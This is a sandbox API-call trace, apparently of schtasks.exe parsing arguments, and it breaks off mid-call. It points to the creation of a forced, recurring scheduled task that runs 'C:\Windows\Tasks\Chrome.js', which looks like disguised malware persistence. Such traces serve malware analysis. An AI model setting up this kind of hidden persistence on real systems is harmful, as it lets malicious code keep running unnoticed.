StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0055.446] SetLastError (dwErrCode=0x0) [0055.446] SetLastError (dwErrCode=0x0) [0055.446] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.446] lstrlenW (lpString="-/") returned 2 [0055.446] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0055.446] SetLastError (dwErrCode=0x490) [0055.446] SetLastError (dwErrCode=0x490) [0055.446] SetLastError (dwErrCode=0x0) [0055.446] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.446] StrChrIW (lpStart="C:\\Windows\\Tasks\\Chrome.js", wMatch=0x3a) returned=":\\Windows\\Tasks\\Chrome.js" [0055.446] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.446] _memicmp (_Buf1=0x1bd5d0, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.447] _memicmp (_Buf1=0x1bd610, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.447] SetLastError (dwErrCode=0x7a) [0055.447] SetLastError (dwErrCode=0x0) [0055.447] SetLastError (dwErrCode=0x0) [0055.447] lstrlenW (lpString="C") returned 1 [0055.447] SetLastError (dwErrCode=0x490) [0055.447] SetLastError (dwErrCode=0x0) [0055.447] _memicmp (_Buf1=0x1bd630, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.447] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.447] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.447] lstrlenW (lpString=" \x09") returned 2 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0055.447] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0055.448] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0055.448] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0055.448] StrChrW (lpStart=" \x09", wMatch=0x6a) returned 0x0 [0055.448] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0055.448] GetLastError () returned 0x0 [0055.448] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.448] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.448] SetLastError (dwErrCode=0x0) [0055.448] SetLastError (dwErrCode=0x0) [0055.448] lstrlenW (lpString="/mo") returned 3 [0055.448] lstrlenW (lpString="-/") returned 2 [0055.448] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.448] lstrlenW (lpString="create") returned 6 [0055.448] lstrlenW (lpString="create") returned 6 [0055.448] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.448] lstrlenW (lpString="mo") returned 2 [0055.448] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.448] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|create|") returned 8 [0055.448] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.448] lstrlenW (lpString="|create|") returned 8 [0055.448] lstrlenW (lpString="|mo|") returned 4 [0055.448] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0055.448] SetLastError (dwErrCode=0x490) [0055.448] lstrlenW (lpString="?") returned 1 [0055.448] lstrlenW (lpString="?") returned 1 [0055.448] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.448] lstrlenW (lpString="mo") returned 2 [0055.448] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.448] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|?|") returned 3 [0055.448] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.448] lstrlenW (lpString="|?|") returned 3 [0055.448] lstrlenW (lpString="|mo|") returned 4 [0055.448] SetLastError (dwErrCode=0x490) [0055.448] lstrlenW (lpString="s") returned 1 [0055.449] lstrlenW (lpString="s") returned 1 [0055.449] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.449] lstrlenW (lpString="mo") returned 2 [0055.449] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.449] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|s|") returned 3 [0055.449] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.449] lstrlenW (lpString="|s|") returned 3 [0055.449] lstrlenW (lpString="|mo|") returned 4 [0055.449] SetLastError (dwErrCode=0x490) [0055.449] lstrlenW (lpString="u") returned 1 [0055.449] lstrlenW (lpString="u") returned 1 [0055.449] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.449] lstrlenW (lpString="mo") returned 2 [0055.449] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.449] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|u|") returned 3 [0055.449] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.449] lstrlenW (lpString="|u|") returned 3 [0055.449] lstrlenW (lpString="|mo|") returned 4 [0055.449] SetLastError (dwErrCode=0x490) [0055.449] lstrlenW (lpString="p") returned 1 [0055.449] lstrlenW (lpString="p") returned 1 [0055.449] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.449] lstrlenW (lpString="mo") returned 2 [0055.449] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.449] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|p|") returned 3 [0055.449] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.449] lstrlenW (lpString="|p|") returned 3 [0055.449] lstrlenW (lpString="|mo|") returned 4 [0055.449] SetLastError (dwErrCode=0x490) [0055.449] lstrlenW (lpString="ru") returned 2 [0055.449] lstrlenW (lpString="ru") returned 2 [0055.449] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.450] lstrlenW (lpString="mo") returned 2 [0055.450] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.450] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|ru|") returned 4 [0055.450] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.450] lstrlenW (lpString="|ru|") returned 4 [0055.450] lstrlenW (lpString="|mo|") returned 4 [0055.450] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0055.450] SetLastError (dwErrCode=0x490) [0055.450] lstrlenW (lpString="rp") returned 2 [0055.450] lstrlenW (lpString="rp") returned 2 [0055.450] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.450] lstrlenW (lpString="mo") returned 2 [0055.450] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.450] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|rp|") returned 4 [0055.450] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.450] lstrlenW (lpString="|rp|") returned 4 [0055.450] lstrlenW (lpString="|mo|") returned 4 [0055.450] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0055.450] SetLastError (dwErrCode=0x490) [0055.450] lstrlenW (lpString="sc") returned 2 [0055.450] lstrlenW (lpString="sc") returned 2 [0055.450] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.450] lstrlenW (lpString="mo") returned 2 [0055.450] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.450] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.450] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.450] lstrlenW (lpString="|sc|") returned 4 [0055.450] lstrlenW (lpString="|mo|") returned 4 [0055.450] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0055.450] SetLastError (dwErrCode=0x490) [0055.450] lstrlenW (lpString="mo") returned 2 [0055.450] lstrlenW (lpString="mo") returned 2 [0055.451] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.451] lstrlenW (lpString="mo") returned 2 [0055.451] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.451] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.451] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.451] lstrlenW (lpString="|mo|") returned 4 [0055.451] lstrlenW (lpString="|mo|") returned 4 [0055.451] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0055.451] SetLastError (dwErrCode=0x0) [0055.451] SetLastError (dwErrCode=0x0) [0055.451] lstrlenW (lpString="2") returned 1 [0055.451] SetLastError (dwErrCode=0x490) [0055.451] SetLastError (dwErrCode=0x0) [0055.451] lstrlenW (lpString="2") returned 1 [0055.451] StrChrIW (lpStart="2", wMatch=0x3a) returned 0x0 [0055.451] SetLastError (dwErrCode=0x490) [0055.451] SetLastError (dwErrCode=0x0) [0055.451] _memicmp (_Buf1=0x1bd630, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.451] lstrlenW (lpString="2") returned 1 [0055.451] lstrlenW (lpString="2") returned 1 [0055.451] lstrlenW (lpString=" \x09") returned 2 [0055.451] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0055.451] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0055.451] GetLastError () returned 0x0 [0055.451] lstrlenW (lpString="2") returned 1 [0055.451] lstrlenW (lpString="2") returned 1 [0055.451] SetLastError (dwErrCode=0x0) [0055.451] SetLastError (dwErrCode=0x0) [0055.451] lstrlenW (lpString="/F") returned 2 [0055.451] lstrlenW (lpString="-/") returned 2 [0055.451] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.451] lstrlenW (lpString="create") returned 6 [0055.451] lstrlenW (lpString="create") returned 6 [0055.451] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.452] lstrlenW (lpString="F") returned 1 [0055.452] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.452] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|create|") returned 8 [0055.452] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.452] lstrlenW (lpString="|create|") returned 8 [0055.452] lstrlenW (lpString="|F|") returned 3 [0055.452] StrStrIW (lpFirst="|create|", lpSrch="|F|") returned 0x0 [0055.452] SetLastError (dwErrCode=0x490) [0055.452] lstrlenW (lpString="?") returned 1 [0055.452] lstrlenW (lpString="?") returned 1 [0055.452] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.452] lstrlenW (lpString="F") returned 1 [0055.452] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.452] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|?|") returned 3 [0055.452] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.452] lstrlenW (lpString="|?|") returned 3 [0055.452] lstrlenW (lpString="|F|") returned 3 [0055.452] StrStrIW (lpFirst="|?|", lpSrch="|F|") returned 0x0 [0055.452] SetLastError (dwErrCode=0x490) [0055.452] lstrlenW (lpString="s") returned 1 [0055.452] lstrlenW (lpString="s") returned 1 [0055.452] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.452] lstrlenW (lpString="F") returned 1 [0055.452] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.452] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|s|") returned 3 [0055.452] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.452] lstrlenW (lpString="|s|") returned 3 [0055.452] lstrlenW (lpString="|F|") returned 3 [0055.452] StrStrIW (lpFirst="|s|", lpSrch="|F|") returned 0x0 [0055.452] SetLastError (dwErrCode=0x490) [0055.452] lstrlenW (lpString="u") returned 1 [0055.452] lstrlenW (lpString="u") returned 1 [0055.453] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.453] lstrlenW (lpString="F") returned 1 [0055.453] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.453] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|u|") returned 3 [0055.453] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.453] lstrlenW (lpString="|u|") returned 3 [0055.453] lstrlenW (lpString="|F|") returned 3 [0055.453] StrStrIW (lpFirst="|u|", lpSrch="|F|") returned 0x0 [0055.453] SetLastError (dwErrCode=0x490) [0055.453] lstrlenW (lpString="p") returned 1 [0055.453] lstrlenW (lpString="p") returned 1 [0055.453] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.453] lstrlenW (lpString="F") returned 1 [0055.453] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.453] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|p|") returned 3 [0055.453] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.453] lstrlenW (lpString="|p|") returned 3 [0055.453] lstrlenW (lpString="|F|") returned 3 [0055.453] StrStrIW (lpFirst="|p|", lpSrch="|F|") returned 0x0 [0055.453] SetLastError (dwErrCode=0x490) [0055.453] lstrlenW (lpString="ru") returned 2 [0055.453] lstrlenW (lpString="ru") returned 2 [0055.453] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.453] lstrlenW (lpString="F") returned 1 [0055.453] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.453] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|ru|") returned 4 [0055.453] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.453] lstrlenW (lpString="|ru|") returned 4 [0055.453] lstrlenW (lpString="|F|") returned 3 [0055.453] StrStrIW (lpFirst="|ru|", lpSrch="|F|") returned 0x0 [0055.453] SetLastError (dwErrCode=0x490) [0055.453] lstrlenW (lpString="rp") returned 2 [0055.454] lstrlenW (lpString="rp") returned 2 [0055.454] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.454] lstrlenW (lpString="F") returned 1 [0055.454] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.454] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|rp|") returned 4 [0055.454] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.454] lstrlenW (lpString="|rp|") returned 4 [0055.454] lstrlenW (lpString="|F|") returned 3 [0055.454] StrStrIW (lpFirst="|rp|", lpSrch="|F|") returned 0x0 [0055.454] SetLastError (dwErrCode=0x490) [0055.454] lstrlenW (lpString="sc") returned 2 [0055.454] lstrlenW (lpString="sc") returned 2 [0055.454] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.454] lstrlenW (lpString="F") returned 1 [0055.454] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.454] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.454] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.454] lstrlenW (lpString="|sc|") returned 4 [0055.454] lstrlenW (lpString="|F|") returned 3 [0055.454] StrStrIW (lpFirst="|sc|", lpSrch="|F|") returned 0x0 [0055.454] SetLastError (dwErrCode=0x490) [0055.454] lstrlenW (lpString="mo") returned 2 [0055.454] lstrlenW (lpString="mo") returned 2 [0055.454] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.454] lstrlenW (lpString="F") returned 1 [0055.454] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.454] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.454] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.454] lstrlenW (lpString="|mo|") returned 4 [0055.454] lstrlenW (lpString="|F|") returned 3 [0055.454] StrStrIW (lpFirst="|mo|", lpSrch="|F|") returned 0x0 [0055.455] SetLastError (dwErrCode=0x490) [0055.455] lstrlenW (lpString="d") returned 1 [0055.455] lstrlenW (lpString="d") returned 1 [0055.455] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.455] lstrlenW (lpString="F") returned 1 [0055.455] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.455] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|d|") returned 3 [0055.455] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.455] lstrlenW (lpString="|d|") returned 3 [0055.455] lstrlenW (lpString="|F|") returned 3 [0055.455] StrStrIW (lpFirst="|d|", lpSrch="|F|") returned 0x0 [0055.455] SetLastError (dwErrCode=0x490) [0055.455] lstrlenW (lpString="m") returned 1 [0055.455] lstrlenW (lpString="m") returned 1 [0055.455] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.455] lstrlenW (lpString="F") returned 1 [0055.455] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.455] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|m|") returned 3 [0055.455] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.455] lstrlenW (lpString="|m|") returned 3 [0055.455] lstrlenW (lpString="|F|") returned 3 [0055.455] StrStrIW (lpFirst="|m|", lpSrch="|F|") returned 0x0 [0055.455] SetLastError (dwErrCode=0x490) [0055.455] lstrlenW (lpString="i") returned 1 [0055.455] lstrlenW (lpString="i") returned 1 [0055.455] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.455] lstrlenW (lpString="F") returned 1 [0055.455] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.455] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|i|") returned 3 [0055.455] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.455] lstrlenW (lpString="|i|") returned 3 [0055.455] lstrlenW (lpString="|F|") returned 3 [0055.456] StrStrIW (lpFirst="|i|", lpSrch="|F|") returned 0x0 [0055.456] SetLastError (dwErrCode=0x490) [0055.456] lstrlenW (lpString="tn") returned 2 [0055.456] lstrlenW (lpString="tn") returned 2 [0055.456] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.456] lstrlenW (lpString="F") returned 1 [0055.456] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.456] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.456] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.456] lstrlenW (lpString="|tn|") returned 4 [0055.456] lstrlenW (lpString="|F|") returned 3 [0055.456] StrStrIW (lpFirst="|tn|", lpSrch="|F|") returned 0x0 [0055.456] SetLastError (dwErrCode=0x490) [0055.456] lstrlenW (lpString="tr") returned 2 [0055.456] lstrlenW (lpString="tr") returned 2 [0055.456] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.456] lstrlenW (lpString="F") returned 1 [0055.456] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.456] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.456] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.456] lstrlenW (lpString="|tr|") returned 4 [0055.456] lstrlenW (lpString="|F|") returned 3 [0055.456] StrStrIW (lpFirst="|tr|", lpSrch="|F|") returned 0x0 [0055.456] SetLastError (dwErrCode=0x490) [0055.456] lstrlenW (lpString="st") returned 2 [0055.456] lstrlenW (lpString="st") returned 2 [0055.456] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.456] lstrlenW (lpString="F") returned 1 [0055.456] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.456] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|st|") returned 4 [0055.456] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.456] lstrlenW (lpString="|st|") returned 4 [0055.457] lstrlenW (lpString="|F|") returned 3 [0055.457] StrStrIW (lpFirst="|st|", lpSrch="|F|") returned 0x0 [0055.457] SetLastError (dwErrCode=0x490) [0055.457] lstrlenW (lpString="sd") returned 2 [0055.457] lstrlenW (lpString="sd") returned 2 [0055.457] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.457] lstrlenW (lpString="F") returned 1 [0055.457] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.457] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sd|") returned 4 [0055.457] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.457] lstrlenW (lpString="|sd|") returned 4 [0055.457] lstrlenW (lpString="|F|") returned 3 [0055.457] StrStrIW (lpFirst="|sd|", lpSrch="|F|") returned 0x0 [0055.457] SetLastError (dwErrCode=0x490) [0055.457] lstrlenW (lpString="ed") returned 2 [0055.457] lstrlenW (lpString="ed") returned 2 [0055.457] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.457] lstrlenW (lpString="F") returned 1 [0055.457] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.457] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|ed|") returned 4 [0055.457] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.457] lstrlenW (lpString="|ed|") returned 4 [0055.457] lstrlenW (lpString="|F|") returned 3 [0055.457] StrStrIW (lpFirst="|ed|", lpSrch="|F|") returned 0x0 [0055.457] SetLastError (dwErrCode=0x490) [0055.457] lstrlenW (lpString="it") returned 2 [0055.457] lstrlenW (lpString="it") returned 2 [0055.457] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.457] lstrlenW (lpString="F") returned 1 [0055.457] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.457] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|it|") returned 4 [0055.457] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|F|") returned 3 [0055.458] lstrlenW (lpString="|it|") returned 4 [0055.458] lstrlenW (lpString="|F|") returned 3 [0055.458] StrStrIW (lpFirst="|it|", lpSrch="|F|") returned 0x0 [0055.458] SetLastError (dwErrCode=0x490) [0055.458] lstrlenW (lpString="et") returned 2 [0055.458] lstrlenW (lpString="et") returned 2 [0055.458] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) 